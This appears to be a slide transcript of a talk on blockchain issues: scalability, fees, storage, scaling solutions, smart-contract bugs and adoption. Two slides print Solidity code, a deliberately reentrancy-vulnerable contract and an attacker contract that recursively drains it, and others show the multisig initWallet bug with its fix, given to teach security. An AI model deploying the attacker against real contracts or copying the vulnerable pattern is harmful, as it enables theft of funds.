Issues in the Blockchain Ecosystem

This is talk i did and the main idea is for people to understand what is wrong with the Blockchain and the solutions that are available for this problems.

Transcript

1. Blockchain Trainer
2. Blockchain Trainer /in/Thedi /ghkgk www.Nikolaytech.com
5. Blockchain Operations Read Write
6. Write Operation
7. Reach an Agreement
9. Transaction latency
10. Block Size +
11. tps per second
12. Ethereum 20 tps (PoW) Bitcoin cash 60 tps (PoW) Ripple 1500 tps (RPCA)
13. We need Bigger throughput
14. Visa handles 56 000 tps Expensive transaction fees (0,20$ - 0,50$)
16. Transactions Latency Internal Time Interval
17. Litecoin every 2.5 minutes
18. Transactions Latency
19. You decide the F ee Higher fee =
20. Bitcoin ~0,50$ Ethereum ~0,15$
21. Transactions F ees Bitcoin ~50$ Ethereum ~4$ Highest Ever January 2018
22. Transactions F ees
23. Storage Bitcoin 219 GB
24. Storage
27. Lightning Network
28. Lightning Network Reduces the load on the Chain
30. Sharding Splits Network into Shards More Performance =
31. Sharding Everything Stays the Same Developing DApps
32. Sharding Challenges Proof of Stake is Single-shard takeover Cross Shard communication
34. Raiden Bitcoin Lightning Network Supports ERC 20 tokens =
35. Plasma Snarks Zk-SNARKs
37. Smart Contracts Difficult to Write Bug-free Code Different Approach required
38. 1M+ BTC 5M+ ETH 20 000 000 000$ 6 500 000 000$
39. 3 600 000 ETH Stolen Leads to Fork
40. contract HoneyPot { mapping (address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { require(balances[msg.sender] > 0); if (!msg.sender.call.value(balances[msg.sender])()) revert(); balances[msg.sender] = 0; } }
41. contract HoneyPotHacker { HoneyPot private honeypot; function HoneyPotHacker(address a) public payable { honeypot = HoneyPot(a); } function collectMoney() public payable { honeypot.deposit.value(msg.value)(); honeypot.withdraw(); selfdestruct(msg.sender); } function() external payable { if (honeypot.balance >= msg.value) { honeypot.withdraw(); } } }
42. Multi-Signature wallet InitWallet Bug
43. function initWallet (address[] _owners, uint _required, uint _daylimit) { initDaylimit(_daylimit); initMultiowned(_owners, _required); }
45. function initWallet (address[] _owners, uint _required, uint _daylimit) only_uninitialized { initDaylimit(_daylimit); initMultiowned(_owners, _required); }
46. Issues of Tomorrow
47. Quantum Computing Computers will only improve Quantum Safe Cryptography
48. Normal People Adoption is Hard Security is Hard 5% of the People cannot Remember Single Password People get Angry
49. Cross Platform Development Many Platforms is Bad Cross-Browser development States persist in single chain
50. Thanks! Any questions? Find me @ Nikolay Angelov /ghkgk /in/Thedi www.Nikolaytech.com